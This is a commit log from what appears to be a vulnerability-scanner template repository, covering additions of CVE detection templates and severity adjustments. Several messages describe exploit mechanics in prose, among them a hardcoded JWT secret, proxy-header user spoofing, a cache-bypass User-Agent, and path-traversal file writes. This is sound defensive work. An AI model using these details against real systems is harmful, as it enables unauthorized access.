ghost 7504f86560 chore: generate templates checksum 🤖 2026-08-08 09:10:08 +00:00
ghost 64fac0a43d chore: generate new addition list 🤖 2026-08-08 09:09:53 +00:00
Ritik Chaddha 207327d314 Update CVE-2025-71324.yaml 2026-08-08 14:39:23 +05:30
ghost 41bd56904f chore: generate CVEs metadata 🤖 2026-08-08 09:09:08 +00:00
ghost aa72163fcc chore: sign templates 🤖 2026-08-08 09:09:03 +00:00
Ritik Chaddha 9d36bc2c0a Merge pull request #16697 from projectdiscovery/Akokonunes-patch-11
Create CVE-2026-13147.yaml - WordPress Kirki < 6.0.12 - Unauthenticated SSRF
2026-08-08 16:08:44 +07:00
Ritik Chaddha 076e679ef8 Update CVE-2026-65442.yaml 2026-08-08 14:38:22 +05:30
ghost de2ab69a7b chore: generate new addition list 🤖 2026-08-08 09:08:22 +00:00
ghost 200dbc7d7c chore: sign templates 🤖 2026-08-08 09:07:38 +00:00
ghost 0fa53b2b1d chore: generate CVEs metadata 🤖 2026-08-08 09:07:32 +00:00
Ritik Chaddha 0ab32c0d5d Merge pull request #16721 from juoum00000/main
Added Template for CVE-2026-48030 (Pheditor command injection)
2026-08-08 16:07:12 +07:00
Ritik Chaddha f8391fd038 Update CVE-2026-14894.yaml 2026-08-08 14:37:08 +05:30
Ritik Chaddha 6793256e12 Update CVE-2026-13147.yaml 2026-08-08 14:32:57 +05:30
Ritik Chaddha 643219ff91 remove extra request 2026-08-08 14:30:47 +05:30
Th3l0newolf [ Chinmay Divekar] b047b44239 Add Net Vision UPS Default Credentials
Added a new YAML file for Net Vision UPS Monitor default login credentials detection.
2026-08-08 01:58:57 -07:00
Th3l0newolf [ Chinmay Divekar] 59f54b47fb Add Th3l0newolf to contributors list
Added new contributor Th3l0newolf with links.
2026-08-08 01:24:14 -07:00
ST4RK 757f78bc15 Create CVE-2026-23536.yaml (Feast Feature Server <=0.58.0 unauth arbitrary file read) 2026-08-08 09:39:23 +03:00
Aman Rawat ecd721485f Update CVE-2026-63077.yaml 2026-08-07 22:12:56 -07:00
ghost 147ec4c5c6 chore: update KEV and vKEV tags and metadata 🤖 2026-08-08 03:32:02 +00:00
ghost c6fee40cb1 chore: update EPSS scores 🤖 2026-08-08 02:37:05 +00:00
hiddingtrojans 0f2ec63fde tighten Server-header matcher/extractor, trim description, drop verified flag 2026-08-08 02:21:27 +02:00
ghost a59bc25d9f chore: generate templates checksum 🤖 2026-08-07 20:04:29 +00:00
github-actions[bot] 38dc5eba47 chore: add impact and remediation fields 🤖 2026-08-07 20:02:32 +00:00
ghost f8239a0f1d chore: sign templates 🤖 2026-08-07 20:01:49 +00:00
Nivid42andPDTeamX 613b56124b Add CVE-2026-64638: WordPress Core < 7.0.3 Preauth XSS (XSS2Shell) (#16785)
* Add CVE-2026-64638: WordPress Core < 7.0.3 Preauth XSS (XSS2Shell)

## PR Information
- **CVE-2026-64638**
- **Vendor/Product**: WordPress Core
- **Severity**: High (CVSS 8.9)
- **Vulnerability**: Preauth Reflected XSS via username HTML injection

### Detection
POST /wp-login.php with URL-encoded payload. Regex matchers verify injected
DOM elements (<area id=ajaxurl>, <div id=color-picker>, <button class=wp-generate-pw>)
survive in the error response.

### Status
Tested and validated against live Targets

### References
- https://pwn.ai/blog/xss2shell
- https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html

* misc updates

---------

Co-authored-by: PDTeamX <[email protected]>
2026-08-08 01:31:20 +05:30
patrick-threatmate ba9627914a Add CVE-2026-18577 (N-able N-central < 2026.3.1.10 auth bypass) 2026-08-07 12:52:10 -04:00
ST4RK 812ba9bfb3 Add CVE-2026-2614: MLflow <= 3.9.0 unauthenticated arbitrary file read 2026-08-07 18:41:16 +03:00
ST4RK 1009f85f40 Merge branch 'main' into str4k3r/cve-2026-26217 2026-08-07 16:58:28 +03:00
Omar Kurt 25aeb91af2 RSFiles! for Joomla - Unauthenticated Arbitrary File Upload RCE ()
Added CVE-2026-57827 for RSFiles! Joomla vulnerability with details on unauthenticated arbitrary file upload leading to RCE.
2026-08-07 15:05:17 +03:00
ST4RK e014b22235 Add CVE-2026-53976 (OpenChamber <1.13.0 unauth arbitrary file read) 2026-08-07 14:06:58 +03:00
Pierre Lalet e40751a0f5 fix(CVE-2021-24139): both conditions must match 2026-08-07 11:14:32 +02:00
Dominique RIGHETTO 1f9fcf4280 Revise Argo CD login panel configuration
Updated author list and enhanced description for clarity. Added new HTTP paths and matchers for improved detection.
2026-08-07 10:26:41 +02:00
ST4RK 28bdb03761 Add CVE-2026-23491: InvoicePlane <= 1.6.3 unauthenticated arbitrary file read 2026-08-07 09:20:24 +03:00
ST4RK 6e2c41da6a Add CVE-2026-65919: Meshery <1.0.57 unauthenticated arbitrary file read 2026-08-07 09:08:33 +03:00
ghost a5032b272e chore: update KEV and vKEV tags and metadata 🤖 2026-08-07 03:59:06 +00:00
ghost 183c7b48f5 chore: update EPSS scores 🤖 2026-08-07 02:59:25 +00:00
ST4RK ffa45b2799 Add CVE-2026-9506: Bagisto <= 2.4.1 unauthenticated ImageCache path traversal / arbitrary file read 2026-08-07 05:45:34 +03:00
Roberto Nunes d5283d652c Update author field for CVE-2026-63077 2026-08-07 11:38:33 +09:00
ghost 4e4d2800dc chore: generate templates checksum 🤖 2026-08-07 02:11:01 +00:00
ghost a7a83cdf22 chore: generate new addition list 🤖 2026-08-07 02:09:13 +00:00
ghost ef82195f5c chore: generate CVEs metadata 🤖 2026-08-07 02:08:29 +00:00
ghost 81a1b22077 chore: sign templates 🤖 2026-08-07 02:08:27 +00:00
Roberto Nunes b6fe5df978 Merge pull request #16725 from Aryu-RU/add-cve-2025-11953
Create CVE-2025-11953.yaml - React Native Community CLI - Unauthenticated OS Command Injection
2026-08-07 11:08:04 +09:00
ghost bdae3c16db chore: generate templates checksum 🤖 2026-08-07 00:48:20 +00:00
ghost d7273dffd5 chore: generate new addition list 🤖 2026-08-07 00:46:51 +00:00
ghost 736018a2c4 chore: sign templates 🤖 2026-08-07 00:46:05 +00:00
ghost be499ec5eb chore: generate CVEs metadata 🤖 2026-08-07 00:46:01 +00:00
Aman Rawat 3ce7bc1e1f Merge pull request #16751 from projectdiscovery/Akokonunes-patch-12
Add CVE-2026-17505.yaml - WordPress TranslatePress < 3.2.6 - Unauthenticathed Reflected XSS
2026-08-06 17:45:43 -07:00
PDTeamX 1a2ff33983 Added template for CVE-2026-8857 2026-08-07 04:59:46 +05:30
ST4RK fa4efbda08 Add CVE-2026-53755 template 2026-08-06 23:44:55 +03:00
ST4RK 676ed1e2ab Add CVE-2026-71209 (Audiobookshelf auth bypass) 2026-08-06 23:42:35 +03:00
ST4RK 4b1b1d55eb Add CVE-2026-41432 template 2026-08-06 23:25:55 +03:00
ST4RK f23f61767a Add CVE-2026-42461 template 2026-08-06 23:11:21 +03:00
Aman Rawat a1f75df1ec Update CVE-2026-17505.yaml 2026-08-06 08:40:08 -07:00
ST4RK 6440734615 Add CVE-2026-53519 template 2026-08-06 10:32:36 +03:00
ghost e69d779196 chore: generate templates checksum 🤖 2026-08-06 06:57:55 +00:00
ghost a1da3be344 chore: generate new addition list 🤖 2026-08-06 06:56:44 +00:00
ghost 2d5b1b2c18 chore: generate CVEs metadata 🤖 2026-08-06 06:55:14 +00:00
ghost 10275a3b58 chore: sign templates 🤖 2026-08-06 06:55:06 +00:00
Dhiyaneshwaran 1c96b87635 Merge pull request #16765 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-48939.yaml - Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
2026-08-05 23:54:44 -07:00
Dhiyaneshwaran 8ce3e4768c Refactor CVE-2025-11953.yaml for clarity
Removed redundant tags and comments for clarity.
2026-08-05 23:50:56 -07:00
Roberto Nunes b0ec2d96ef Create CVE-2026-48939.yaml 2026-08-06 15:50:33 +09:00
ghost 726e4f078d chore: generate templates checksum 🤖 2026-08-06 06:25:39 +00:00
ghost a316f85356 chore: generate new addition list 🤖 2026-08-06 06:23:45 +00:00
ghost c0061a6ce1 chore: sign templates 🤖 2026-08-06 06:22:52 +00:00
ghost a4b6d2ec60 chore: generate CVEs metadata 🤖 2026-08-06 06:22:47 +00:00
Dhiyaneshwaran e40b8e2f76 Merge pull request #16761 from projectdiscovery/Akokonunes-patch-15
Add CVE-2026-53576.yaml - Kestra <= 1.3.20 - Remote Code Execution
2026-08-05 23:22:22 -07:00
ST4RK 18a3a49f9a Add CVE-2026-40280 template 2026-08-06 09:21:01 +03:00
ghost 1beabb4b11 chore: update KEV and vKEV tags and metadata 🤖 2026-08-06 04:03:19 +00:00
Roberto Nunes dbe9b24c9b Update CVE-2026-53576.yaml 2026-08-06 12:28:32 +09:00
Roberto Nunes d0dcdfd11b Add support for HTTP flow with additional version 2026-08-06 12:23:07 +09:00
Roberto Nunes f6221cd021 Update CVE-2026-53576.yaml 2026-08-06 12:13:54 +09:00
Roberto Nunes 351bd43358 Update author field in CVE-2026-53576.yaml 2026-08-06 12:09:26 +09:00
ghost e37a4971f7 chore: update EPSS scores 🤖 2026-08-06 03:00:14 +00:00
Roberto Nunes df5f21e516 Update CVE-2026-17532.yaml 2026-08-06 11:01:37 +09:00
Roberto Nunes ed173f4900 Create CVE-2026-17532.yaml 2026-08-06 10:56:06 +09:00
str4k3r 0c3f846596 Add CVE-2026-26217 template 2026-08-06 02:48:30 +03:00
Bryce Florek f56c94b699 web-config: raise severity info -> low
The template confirms web.config is unauthenticated-GET-able (root XML
tags present, HTTP 200) but does not validate file content -- it cannot
tell whether a real connectionString or secret is present. Existence-only
disclosure of a config file that CAN contain credentials/connection
strings is real recon value (comparable to package-json/ds-store-file),
but content is unconfirmed, so this proposes low rather than a higher
severity pending content validation. Updated the stale cvss-metrics/
cvss-score fields to reflect a nonzero confidentiality impact consistent
with the new severity.
2026-08-05 14:21:11 -07:00
Bryce Florek 5fccf03c21 package-json: raise severity info -> low
Unlike a single technology's version banner, an exposed package.json
discloses the full dependency tree (names + versions of every
dependency), letting an attacker cross-reference the whole list against
CVE databases without needing per-library fingerprinting. CWE-552
("Files or Directories Accessible to External Parties") and OWASP Top
10 2021 A01 (Broken Access Control) apply; Acunetix's analogous
"Composer installed.json publicly accessible" finding treats this class
of dependency-manifest disclosure as a real, named issue:
https://www.acunetix.com/vulnerabilities/web/composer-installed-json-publicly-accessible/
2026-08-05 14:21:11 -07:00
Bryce Florek 26fc2c7700 mixed-active-content: raise severity info -> low
Active content (script/iframe/object) loaded over plain HTTP on an
HTTPS page lets a network attacker intercept and replace it, executing
arbitrary code in the HTTPS page's trusted context -- a real TLS
integrity bypass, not passive/cosmetic. Acunetix independently rates
this exact finding class Medium:
https://www.acunetix.com/vulnerabilities/web/active-mixed-content-over-https/
Proposing low here as the conservative, externally-defensible floor.
2026-08-05 14:21:11 -07:00
Bryce Florek 11999bc715 google-api-key-file: raise severity info -> low
Same regex/credential-exposure logic as google-api-key.yaml, just
detected via crawled file content instead of a live HTTP response.
The detection path doesn't change the underlying risk: a true positive
is a real, likely-unrestricted Google API key.
https://cloud.google.com/docs/authentication/api-keys#securing
2026-08-05 14:21:11 -07:00
Bryce Florek dba5f8bc6c google-api-key: raise severity info -> low
Unlike public-by-design identifiers, a Google API key is a real
credential by default -- restriction (referrer/IP/API scope) is opt-in,
not Google's baseline. Google's own security guidance exists specifically
to warn developers to lock these down:
https://cloud.google.com/docs/authentication/api-keys#securing
A true positive represents a real, likely-unrestricted credential.
2026-08-05 14:21:11 -07:00
Bryce Florek 3876722942 fastly-debug-headers: raise severity info -> low
Fastly-Debug is an opt-in developer debugging feature by Fastly's own
design, not itself a vulnerability -- but a production server answering
it discloses internal cache-path, TTL, and content-digest information
that lowers the bar for cache-poisoning/deception attacks and shouldn't
be reachable outside development. No independent CVE/CWE precedent was
found for this specific finding; this proposal rests on the exposure
enabling a known attack class, not on cited third-party severity data.
2026-08-05 14:21:10 -07:00
Bryce Florek cd58910131 ds-store-file: raise severity info -> low
.DS_Store disclosure is a real, precedented information-exposure class:
NVD CVE-2016-1776 (Apple, CVSS 5.3/Medium) covers .DS_Store/.htaccess
exposure on OS X Server, and CWE-548 ("Exposure of Information Through
Directory Listing") applies directly. The file discloses filenames Finder
has seen in a directory, including deleted/undeployed files, turning
blind enumeration into targeted enumeration. https://nvd.nist.gov/vuln/detail/CVE-2016-1776
2026-08-05 14:21:10 -07:00
Bryce Florek b525eff7ed aspx-debug-mode: raise severity info -> medium
The template confirms ASP.NET's DEBUG-verb listener actually executed a
live debug-control command (exact "OK" response, 2-byte body) rather
than guessing from a banner. PortSwigger's own KB entry for this exact
issue (ASP.NET debugging enabled, CWE-11) rates it Medium by default:
https://portswigger.net/kb/issues/00100800_asp-net-debugging-enabled
2026-08-05 14:21:10 -07:00
Raul Acedo e22ee93afc Add milvus-healthz-detect: fingerprint Milvus server via :9091 healthz
Complements milvus-detect (management-UI titles) by fingerprinting the
Milvus server itself through its HTTP health endpoint's Server header,
with version extraction for downstream CVE mapping.
2026-08-05 18:38:00 +02:00
PalmOla 2739fb1cc8 Implement error checks for SNMP response validity
Add error handling for empty SNMP responses.
2026-08-05 14:38:34 +02:00
Mzack9999 3d3e4ac5fc Merge pull request #16605 from projectdiscovery/dependabot/github_actions/main/actions/setup-python-7
chore(deps): bump actions/setup-python from 6 to 7
2026-08-05 14:08:10 +04:00
ghost 1ff1b2b58c chore: generate templates checksum 🤖 2026-08-05 05:52:43 +00:00
Prince Chaddha e80f5d408f Delete Templates-Bounty-FAQ.md 2026-08-05 11:22:17 +05:30
Andrew Tunnecliffe 30d4390955 fix(wordpress-eol): replace generic version regex with core-versioned asset patterns
The generic 'Version x.y.z' pattern matched any version string in the
response body, producing false positives on non-WordPress targets and
misreporting plugin/theme versions as WordPress core.

Version extraction now uses the generator meta tag plus specific
core-versioned wp-includes assets. Bundled libraries (jquery,
underscore, backbone) are excluded as they carry their own versions.
Matchers additionally require a WordPress fingerprint in the body.
2026-08-05 15:36:50 +10:00
ghost 1021081b8e chore: update KEV and vKEV tags and metadata 🤖 2026-08-05 04:02:42 +00:00
ghost 58107a7cf7 chore: update EPSS scores 🤖 2026-08-05 02:59:55 +00:00
Roberto Nunes 6e51a07384 Revise CVE-2026-69251 details and update queries
Updated CVE-2026-69251 details including name, description, and remediation steps.
2026-08-05 11:34:31 +09:00
ghost d3f34c1197 chore: generate templates checksum 🤖 2026-08-05 01:52:07 +00:00
ghost 0cb89fb686 chore: generate CVEs metadata 🤖 2026-08-05 01:49:36 +00:00
ghost e4a719fcd9 chore: sign templates 🤖 2026-08-05 01:49:34 +00:00
Roberto Nunes 99f4282735 Merge pull request #16745 from daffainfo/patch-679818
Delete http/cves/2024/CVE-2024-28752.yaml
2026-08-05 10:49:14 +09:00
Roberto Nunes 49e303b66d Merge pull request #16739 from munzzyy/fix/nh-c2-redirect-status-or
Fix nh-c2 dsl matcher that can never match
2026-08-05 10:49:08 +09:00
Roberto Nunes 7ea1a1bf46 Update CVE-2026-17505.yaml 2026-08-05 10:37:21 +09:00
Roberto Nunes 7066065eb9 Add CVE-2026-17505 for WordPress TranslatePress XSS
Added CVE-2026-17505 details for WordPress TranslatePress plugin vulnerability, including description, impact, remediation, and HTTP request flow.
2026-08-05 10:30:01 +09:00
MFS 7a36ab6a69 Add CVE-2026-69251 - Flowise - Authenticated RCE via Unsanitized TypeORM DataSource Options 2026-08-04 21:53:15 +03:00
ghost cd0c2f45f0 chore: generate templates checksum 🤖 2026-08-04 16:43:31 +00:00
ghost ff1883d063 chore: generate new addition list 🤖 2026-08-04 16:41:41 +00:00
ghost fa94b08096 chore: generate CVEs metadata 🤖 2026-08-04 16:41:03 +00:00
ghost db4673a172 chore: sign templates 🤖 2026-08-04 16:40:54 +00:00
Dhiyaneshwaran 4db459dfdf Merge pull request #16744 from projectdiscovery/Akokonunes-patch-14
Create CVE-2024-55890.yaml - D-Tale <= 3.16.0 - Pre-Auth RCE via Pandas Query Injection
2026-08-04 09:40:27 -07:00
Aman Rawat 76965e41ee Create CVE-2025-71324.yaml 2026-08-04 08:24:42 -07:00
ghost 54195a5b3d chore: generate templates checksum 🤖 2026-08-04 15:08:54 +00:00
ghost b9e3b3221d chore: generate new addition list 🤖 2026-08-04 15:06:37 +00:00
ghost 984ae7248e chore: sign templates 🤖 2026-08-04 15:05:48 +00:00
ghost 0af6b7ae47 chore: generate CVEs metadata 🤖 2026-08-04 15:05:41 +00:00
Aman Rawat 74ae7b8562 Merge pull request #16743 from projectdiscovery/Akokonunes-patch-12
Create CVE-2024-37014.yaml - Langflow <= 1.0.12 - Pre-Auth RCE
2026-08-04 08:05:25 -07:00
ghost 1477f2df20 chore: generate new addition list 🤖 2026-08-04 14:53:01 +00:00
Aman Rawat 5737d83a7b Update CVE-2024-37014.yaml 2026-08-04 07:52:27 -07:00
ghost bcf618088e chore: generate CVEs metadata 🤖 2026-08-04 14:52:19 +00:00
Aman Rawat 66d045e0d3 Merge pull request #16742 from projectdiscovery/Akokonunes-patch-10
Add CVE-2025-20282.yaml - Cisco ISE < 3.4P2 - Unauthenticated Arbitrary File Upload
2026-08-04 07:51:54 -07:00
Aryu-RU ad2a9420f2 Add CVE-2026-53753 Crawl4AI remote code execution
Detects the AST sandbox escape in the computed field expression evaluator
reachable from the unauthenticated /crawl endpoint. The probe runs echo with
a shell arithmetic expansion so the marker in the response can only have been
produced by command execution on the target.
2026-08-04 13:27:12 +00:00
Muhammad Daffa 7a1dc559d7 Delete http/cves/2024/CVE-2024-28752.yaml 2026-08-04 20:10:36 +07:00
diedromeo 40142d2e67 Merge branch 'main' into fix/cve-2025-14847-mongodb-8x-detection 2026-08-04 16:24:23 +05:30
ghost 9419e84b01 chore: update KEV and vKEV tags and metadata 🤖 2026-08-04 04:03:38 +00:00
Roberto Nunes 2e52642332 Update CVE-2024-55890.yaml for new HTTP flow and matchers 2026-08-04 12:51:49 +09:00
Roberto Nunes c570459140 Create CVE-2024-55890.yaml 2026-08-04 12:44:04 +09:00
ghost c8a66e4bc3 chore: update EPSS scores 🤖 2026-08-04 03:00:06 +00:00
Roberto Nunes adc8c60ac8 Create CVE-2024-37014.yaml 2026-08-04 10:45:44 +09:00
Roberto Nunes b66c7fcbc1 Add CVE-2025-20282 for Cisco ISE vulnerability
Added CVE-2025-20282 for Cisco ISE unauthenticated file upload vulnerability with details on impact, remediation, and references.
2026-08-04 10:24:12 +09:00
juoum00000 8f56e0d025 Merge branch 'main' into main 2026-08-03 22:13:42 +01:00
diedromeo 8ba7811e3d Fix CVE-2025-14847: detect vulnerable MongoDB 8.0.x
Confirm buildinfo via gitVersion (early in the reply) instead of maxBsonObjectSize, which sits at byte ~6272 in the ~6.3KB 8.0.x buildinfo response and falls outside read-size 2048.
2026-08-04 01:02:56 +05:30
Dhiyaneshwaran 5991c5b9d1 CVE-2026-65442 - FormCraft3 <= 3.9.15 - Unauthenticated Server-Side Request Forgery 2026-08-03 11:20:43 -07:00
ghost 4b1bb38c4a chore: generate templates checksum 🤖 2026-08-03 17:44:27 +00:00
ghost 1ef5470082 chore: generate new addition list 🤖 2026-08-03 17:42:28 +00:00
ghost 7e1b374382 chore: generate CVEs metadata 🤖 2026-08-03 17:41:42 +00:00
ghost 6fb8ac6ef5 chore: sign templates 🤖 2026-08-03 17:41:38 +00:00
Aman Rawat a9001a94ec Merge pull request #16729 from daffainfo/patch-505178
Rename cve-2026-44338.yaml to CVE-2026-44338.yaml
2026-08-03 23:08:52 +05:30
Aman Rawat 76bddbe7f2 Update CVE-2026-44338.yaml 2026-08-03 10:34:23 -07:00
Aryu-RU 90b942b43b Add CVE-2026-13001 Podlove Podcast Publisher arbitrary file upload 2026-08-03 13:28:14 +00:00
Claude 1a6bf69517 Add template for CVE-2026-5032 (W3 Total Cache token disclosure)
W3 Total Cache <= 2.9.3 bypasses its output buffering pipeline for any
request whose User-Agent header contains "W3 Total Cache", without
authenticating the caller. On sites with fragment caching enabled and
existing dynamic fragment tags, this leaks the raw mfunc/mclude
comments including the per-site W3TC_DYNAMIC_SECURITY token.
Detection confirms the plugin version via readme.txt, then confirms
the token leaks in the homepage response when the User-Agent bypass
is used.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 09:23:43 +00:00
Claude ca56b272a3 Add template for CVE-2026-20896 (Gitea Docker auth bypass)
The official Gitea Docker image <= 1.26.2 ships with
REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, so it trusts the
X-WEBAUTH-USER reverse-proxy header from any source. An unauthenticated
attacker can impersonate any user, including admins, by sending that
header. Template confirms baseline 401 on /api/v1/user, then confirms
the spoofed identity is honored (200, login/is_admin reflect the
injected header).

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 07:44:19 +00:00
Claude 7468b83031 Add template for CVE-2026-25895 (FUXA path traversal to file write)
FUXA <= 1.2.9 exposes an unauthenticated POST /api/upload that
concatenates the JSON body's destination field into a filesystem path
without normalization, allowing path traversal out of the app
directory. Template writes a random marker file into the public
client/dist web root and confirms it via an unauthenticated GET,
proving the arbitrary-write primitive without touching cron/SSH/RCE
escalation paths.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 07:38:52 +00:00
ghost e9f0fe7fa4 chore: generate templates stats 🤖 2026-08-03 07:24:12 +00:00
shadowhunter-92 67fd1e1571 Add Claude Code subagent configuration exposure detector
Detects exposed .claude/agents/*.md subagent config files served over
HTTP. Each file defines an AI subagent (name, description, tool
allow-list, system prompt); exposure can leak custom prompts,
internal API endpoints, business logic, tool permissions, and the
project's automation setup. Also detects Apache-style directory
listings on .claude/agents/.

Paths checked (4):
  - /.claude/agents/
  - /.claude/agents/index.md
  - /.claude/agents/README.md
  - /.claude/agents/code-reviewer.md

Matchers (OR of two, gated by 200 status):
  - YAML frontmatter markers between --- delimiters with name +
    description keys (real subagent file)
  - 'Index of /.claude/agents' / 'Directory listing for
    /.claude/agents' / >filename.md< href patterns (dir listing)

Extractors surface agent name, allowed tools list, and .md filenames
from listings so operators see what leaked.

Refs:
  - https://docs.claude.com/en/docs/claude-code/sub-agents
  - https://docs.claude.com/en/docs/claude-code/settings

Complements existing anthropic-api-key.yaml (#16699) and
claude-code-settings-exposure.yaml (#16701).

Signed-off-by: shadowhunter-92 <[email protected]>
2026-08-03 12:07:49 +05:00
Claude 079c8bb59b Add template for CVE-2026-56265 (Crawl4AI hardcoded JWT key)
Crawl4AI Docker API <= 0.8.6 signs/verifies JWTs with a hardcoded
default secret ("mysecret"), letting an unauthenticated attacker forge
a Bearer token accepted by every protected endpoint. Template confirms
the baseline 401 without a token, then forges an HS256 token with the
known secret via generate_jwt() and verifies access to /config/dump.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 06:59:45 +00:00
Prince Chaddha 83234ce456 updated workflows 2026-08-03 13:55:24 +07:00
Claude 946dd0f95d Add template for CVE-2026-32255 (Kan SSRF)
Unauthenticated SSRF in Kan's /api/download/attatchment endpoint
(<= 0.5.4) via the unvalidated url query parameter. Detection uses an
interactsh OOB callback to confirm the outbound request without
reading any internal data.

Co-Authored-By: Claude Sonnet 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01Tz1bTiCPJYp7e4j2RFk2BA
2026-08-03 06:51:44 +00:00
ghost 2c6b2e1482 chore: generate templates checksum 🤖 2026-08-03 05:36:58 +00:00
ghost 3e6c29e1e0 chore: generate new addition list 🤖 2026-08-03 05:35:11 +00:00
ghost 560930671c chore: sign templates 🤖 2026-08-03 05:34:25 +00:00
Dhiyaneshwaran 9cd0e3071d Merge pull request #16714 from rxerium/add-product-detection-coverage
Add product detection templates
2026-08-03 11:04:03 +05:30
ghost e4591da0eb chore: generate templates checksum 🤖 2026-08-03 05:04:22 +00:00
ghost db128d7542 chore: sign templates 🤖 2026-08-03 05:01:52 +00:00
Roberto Nunes c92808f53e Merge pull request #16731 from daffainfo/patch-603914
Rename Wix-detect.yaml to wix-detect.yaml
2026-08-03 14:01:33 +09:00
ghost 470882de1d chore: generate templates checksum 🤖 2026-08-03 04:48:17 +00:00
github-actions[bot] 88e9a068ad chore: add impact and remediation fields 🤖 2026-08-03 04:46:25 +00:00
ghost 776c70ef32 chore: sign templates 🤖 2026-08-03 04:45:40 +00:00
ghost 4056b97bd5 chore: generate CVEs metadata 🤖 2026-08-03 04:45:36 +00:00
Roberto Nunes e72d3628d6 Merge pull request #16730 from daffainfo/patch-446759
Rename CVE file to match naming convention
2026-08-03 13:45:19 +09:00
Roberto Nunes c2d915edcb Merge pull request #16682 from gotr00t0day/main
Update CVE-2026-63030.yaml
2026-08-03 13:44:50 +09:00
Roberto Nunes af5209508e Merge pull request #16704 from shreyas-malhotra/patch-3
fix(CVE-2025-32969): remove incorrect content_type matcher
2026-08-03 13:44:45 +09:00
Roberto Nunes a8b62d8e46 improve for matching old & new instances 2026-08-03 13:40:30 +09:00
ghost 3d6fc9ff28 chore: generate templates checksum 🤖 2026-08-03 04:39:36 +00:00
Muhammad Daffa ca8e67f555 Rename Wix-detect.yaml to wix-detect.yaml 2026-08-03 11:39:13 +07:00
Roberto Nunes 61b7661142 avoid weak matcher & FP 2026-08-03 13:39:06 +09:00
Muhammad Daffa 4704a86e10 Rename CVE file to match naming convention 2026-08-03 11:38:20 +07:00
Roberto Nunes de9be20073 Update rubrik-panel.yaml 2026-08-03 13:38:15 +09:00
Muhammad Daffa 1fd2638923 Rename cve-2026-44338.yaml to CVE-2026-44338.yaml 2026-08-03 11:37:45 +07:00
ghost efaba81ff3 chore: sign templates 🤖 2026-08-03 04:37:26 +00:00
ghost 2a33182c7f chore: generate new addition list 🤖 2026-08-03 04:37:22 +00:00
Roberto Nunes 0abd1388a4 Merge pull request #16703 from righettod/airflow_upd
Refactor the "AIRFLOW" template.
2026-08-03 13:37:06 +09:00
ghost a62e405de8 chore: generate CVEs metadata 🤖 2026-08-03 04:36:47 +00:00
ghost 4a88fc819b chore: sign templates 🤖 2026-08-03 04:36:45 +00:00
Roberto Nunes 87d83db80d Merge pull request #16728 from projectdiscovery/CVE-2025-6389
CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
2026-08-03 13:36:17 +09:00
Akokonunes 071171a2b6 Move abb-ability-genix-detect to technologies
The template is a product/technology fingerprint (tags: tech), not an
exposed login panel, so http/technologies/ is the correct location.
2026-08-03 13:33:54 +09:00
Dhiyaneshwaran 903f8df00d Merge branch 'main' into main 2026-08-03 10:02:20 +05:30
Prince Chaddha 126e9f7769 Merge branch 'main' into fp-flow 2026-08-03 11:26:39 +07:00
ghost 4364d39380 chore: update KEV and vKEV tags and metadata 🤖 2026-08-03 04:14:27 +00:00
ghost 829fe97549 chore: generate templates checksum 🤖 2026-08-03 04:04:24 +00:00
ghost 69d286e114 chore: generate new addition list 🤖 2026-08-03 04:02:34 +00:00
ghost 2ea7f91fd9 chore: generate CVEs metadata 🤖 2026-08-03 04:01:59 +00:00
ghost 451ea21237 chore: sign templates 🤖 2026-08-03 04:01:52 +00:00
Aman Rawat 984c74d51c Merge pull request #16727 from projectdiscovery/Akokonunes-patch-10
Add CVE-2026-60004.yaml - Gitea <= 1.27.0 - Pre-Auth Remote Code Execution
2026-08-03 09:31:30 +05:30
Dhiyaneshwaran ca770916f2 Merge branch 'main' into patch-3 2026-08-03 09:31:24 +05:30
Dhiyaneshwaran 953bbcaf40 Update CVE-2025-32969.yaml 2026-08-02 21:00:33 -07:00
Dhiyaneshwaran bec6c83dd8 CVE-2025-6389 - Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func 2026-08-02 20:43:18 -07:00
Roberto Nunes 45ff5cf442 Revise CVE-2026-48030 details and format
Updated CVE-2026-48030 YAML file with improved descriptions and additional metadata.
2026-08-03 12:12:58 +09:00
ghost b1d25fc0e9 chore: update EPSS scores 🤖 2026-08-03 03:00:43 +00:00
Roberto Nunes 28697f8683 Update CVE-2026-60004.yaml with new request flows 2026-08-03 10:21:15 +09:00
Roberto Nunes 782d12da6b Add CVE-2026-60004 vulnerability details
CVE-2026-60004 describes a critical remote code execution vulnerability in Gitea versions 1.17 through 1.27.0. The YAML file includes details about the vulnerability, its impact, remediation steps, and a flow for exploiting the vulnerability.
2026-08-03 10:14:19 +09:00
ghost 38e315e254 chore: generate new addition list 🤖 2026-08-03 00:24:00 +00:00
ghost 9ebb5a6b15 chore: generate CVEs metadata 🤖 2026-08-03 00:23:11 +00:00
Roberto Nunes 4cb19954b3 Merge pull request #16713 from projectdiscovery/CVE-2019-14793
Create CVE-2019-14793.yaml (Passive)
2026-08-03 09:22:53 +09:00
ghost c052027a62 chore: generate new addition list 🤖 2026-08-03 00:22:16 +00:00
ghost ebc4b95cf6 chore: generate new addition list 🤖 2026-08-03 00:22:06 +00:00
ghost 88d79966b0 chore: generate CVEs metadata 🤖 2026-08-03 00:21:41 +00:00
Roberto Nunes ad3141bc4d Merge pull request #16129 from projectdiscovery/pussycat0x-patch-26
Create CVE-2025-2505.yaml
2026-08-03 09:21:18 +09:00
Roberto Nunes 703c566a42 Merge pull request #16583 from iamatownboy/add-cve-2026-30623-litellm
Add CVE-2026-30623 LiteLLM MCP Stdio Command Injection template
2026-08-03 09:21:01 +09:00
Roberto Nunes 4940c97c7a Merge pull request #16706 from daffainfo/patch-158005
Update htaccess-config.yaml with new paths
2026-08-03 09:20:53 +09:00
